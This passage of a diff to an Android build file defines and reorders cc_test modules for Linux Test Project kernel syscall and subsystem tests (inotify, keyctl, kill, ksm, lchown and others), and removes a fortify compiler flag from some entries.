+        "testcases/kernel/syscalls/getuid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getuid03_16",
+    stem: "getuid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getuid/getuid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getuid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getxattr01",
+    stem: "getxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getxattr/getxattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getxattr02",
+    stem: "getxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getxattr/getxattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getxattr03",
+    stem: "getxattr03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getxattr/getxattr03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getxattr04",
+    stem: "getxattr04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getxattr/getxattr04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getxattr05",
+    stem: "getxattr05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getxattr/getxattr05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_hackbench",
+    stem: "hackbench",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/cfs-scheduler/hackbench.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_hangup01",
+    stem: "hangup01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/pty/hangup01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ht_affinity",
+    stem: "ht_affinity",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/hyperthreading/ht_affinity/ht_affinity.c",
+        "testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ht_enabled",
+    stem: "ht_enabled",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/hyperthreading/ht_enabled/ht_enabled.c",
+        "testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_hugemmap01",
+    stem: "hugemmap01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/mem/hugetlb/lib",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_hugetlb",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_hugemmap02",
+    stem: "hugemmap02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/mem/hugetlb/lib",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_hugetlb",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_hugemmap04",
+    stem: "hugemmap04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/mem/hugetlb/lib",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_hugetlb",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_hugemmap06",
+    stem: "hugemmap06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/mem/hugetlb/lib",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_hugetlb",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_ima_boot_aggregate",
+    stem: "ima_boot_aggregate",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+    shared_libs: [
+        "libdl",
+        "libcrypto",
+    ],
+}
+
+cc_test {
+    name: "ltp_ima_mmap",
+    stem: "ima_mmap",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/integrity/ima/src/ima_mmap.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_in",
+    stem: "in",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/commands/file/datafiles/in.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_in6_02",
+    stem: "in6_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/lib6/in6_02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inh_capped",
+    stem: "inh_capped",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/filecaps/inh_capped.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inode01",
+    stem: "inode01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/inode/inode01.c"],
+    cflags: ["-DLINUX"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inode02",
+    stem: "inode02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/inode/inode02.c"],
+    cflags: ["-DLINUX"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify01",
+    stem: "inotify01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify02",
+    stem: "inotify02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify03",
+    stem: "inotify03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify04",
+    stem: "inotify04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify05",
+    stem: "inotify05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify06",
+    stem: "inotify06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify07",
+    stem: "inotify07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify08",
+    stem: "inotify08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify09",
+    stem: "inotify09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify_init1_01",
+    stem: "inotify_init1_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify_init/inotify_init1_01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify_init1_02",
+    stem: "inotify_init1_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify_init/inotify_init1_02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_input01",
+    stem: "input01",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/input/input_helper.c",
+        "testcases/kernel/input/input01.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_input02",
+    stem: "input02",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/input/input_helper.c",
+        "testcases/kernel/input/input02.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_input04",
+    stem: "input04",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/input/input04.c",
+        "testcases/kernel/input/input_helper.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_input05",
+    stem: "input05",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/input/input_helper.c",
+        "testcases/kernel/input/input05.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_input06",
+    stem: "input06",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/input/input_helper.c",
+        "testcases/kernel/input/input06.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_io_cancel01",
+    stem: "io_cancel01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_cancel/io_cancel01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_io_destroy01",
+    stem: "io_destroy01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_destroy/io_destroy01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_io_getevents01",
+    stem: "io_getevents01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_getevents/io_getevents01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_io_setup01",
+    stem: "io_setup01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_setup/io_setup01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_io_submit01",
+    stem: "io_submit01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_submit/io_submit01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_iobw",
+    stem: "iobw",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/io-throttle/iobw.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_ioctl01",
+    stem: "ioctl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioctl03",
+    stem: "ioctl03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioctl04",
+    stem: "ioctl04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioctl05",
+    stem: "ioctl05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioctl06",
+    stem: "ioctl06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioctl07",
+    stem: "ioctl07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_iogen",
+    stem: "iogen",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/doio/iogen.c",
+        "testcases/kernel/fs/doio/dataascii.c",
+        "testcases/kernel/fs/doio/databin.c",
+        "testcases/kernel/fs/doio/file_lock.c",
+        "testcases/kernel/fs/doio/forker.c",
+        "testcases/kernel/fs/doio/open_flags.c",
+        "testcases/kernel/fs/doio/datapid.c",
+        "testcases/kernel/fs/doio/write_log.c",
+        "testcases/kernel/fs/doio/pattern.c",
+        "testcases/kernel/fs/doio/string_to_tokens.c",
+        "testcases/kernel/fs/doio/bytes_by_prefix.c",
+    ],
+    cflags: ["-D_LARGEFILE64_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/fs/doio/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioperm01",
+    stem: "ioperm01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioperm/ioperm01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioperm02",
+    stem: "ioperm02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioperm/ioperm02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_iopl01",
+    stem: "iopl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/iopl/iopl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_iopl02",
+    stem: "iopl02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/iopl/iopl02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_kcmp01",
+    stem: "kcmp01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kcmp/kcmp01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_kcmp02",
+    stem: "kcmp02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kcmp/kcmp02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_kcmp03",
+    stem: "kcmp03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kcmp/kcmp03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl01",
+    stem: "keyctl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl02",
+    stem: "keyctl02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl03",
+    stem: "keyctl03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl04",
+    stem: "keyctl04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl05",
+    stem: "keyctl05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl06",
+    stem: "keyctl06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl07",
+    stem: "keyctl07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl08",
+    stem: "keyctl08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_kill01",
+    stem: "kill01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill02",
+    stem: "kill02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill03",
+    stem: "kill03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill04",
+    stem: "kill04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill06",
+    stem: "kill06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill06.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill08",
+    stem: "kill08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill08.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill09",
+    stem: "kill09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill09.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill10",
+    stem: "kill10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill10.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill11",
+    stem: "kill11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill11.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kill12",
+    stem: "kill12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill12.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_kmsg01",
+    stem: "kmsg01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/logging/kmsg/kmsg01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ksm01",
+    stem: "ksm01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/ksm/ksm01.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_ksm02",
+    stem: "ksm02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/ksm/ksm02.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_ksm03",
+    stem: "ksm03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/ksm/ksm03.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_ksm04",
+    stem: "ksm04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/ksm/ksm04.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_ksm05",
+    stem: "ksm05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/ksm/ksm05.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_ksm06",
+    stem: "ksm06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/ksm/ksm06.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_lchown01",
+    stem: "lchown01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lchown/lchown01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/lchown",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lchown01_16",
+    stem: "lchown01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lchown/lchown01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
     local_include_dirs: [
         "testcases/kernel/syscalls/lchown",
         "testcases/kernel/syscalls/utils",
@@ -14167,7 +7098,6 @@
     stem: "lchown02",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/lchown/lchown02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/syscalls/lchown",
         "testcases/kernel/syscalls/utils",
@@ -14177,11 +7107,11 @@
 }
 
 cc_test {
-    name: "ltp_lchown01",
-    stem: "lchown01",
+    name: "ltp_lchown02_16",
+    stem: "lchown02_16",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lchown/lchown01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/lchown/lchown02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
     local_include_dirs: [
         "testcases/kernel/syscalls/lchown",
         "testcases/kernel/syscalls/utils",
@@ -14191,125 +7121,798 @@
 }
 
 cc_test {
-    name: "ltp_fstatfs02_64",
-    stem: "fstatfs02_64",
+    name: "ltp_lchown03",
+    stem: "lchown03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstatfs/fstatfs02.c"],
+    srcs: ["testcases/kernel/syscalls/lchown/lchown03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/lchown",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lchown03_16",
+    stem: "lchown03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lchown/lchown03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/lchown",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lftest",
+    stem: "lftest",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/lftest/lftest.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_LARGEFILE_SOURCE",
     ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fstatfs",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl29_64",
-    stem: "fcntl29_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl29.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setgid02",
-    stem: "setgid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setgid/setgid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setgid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
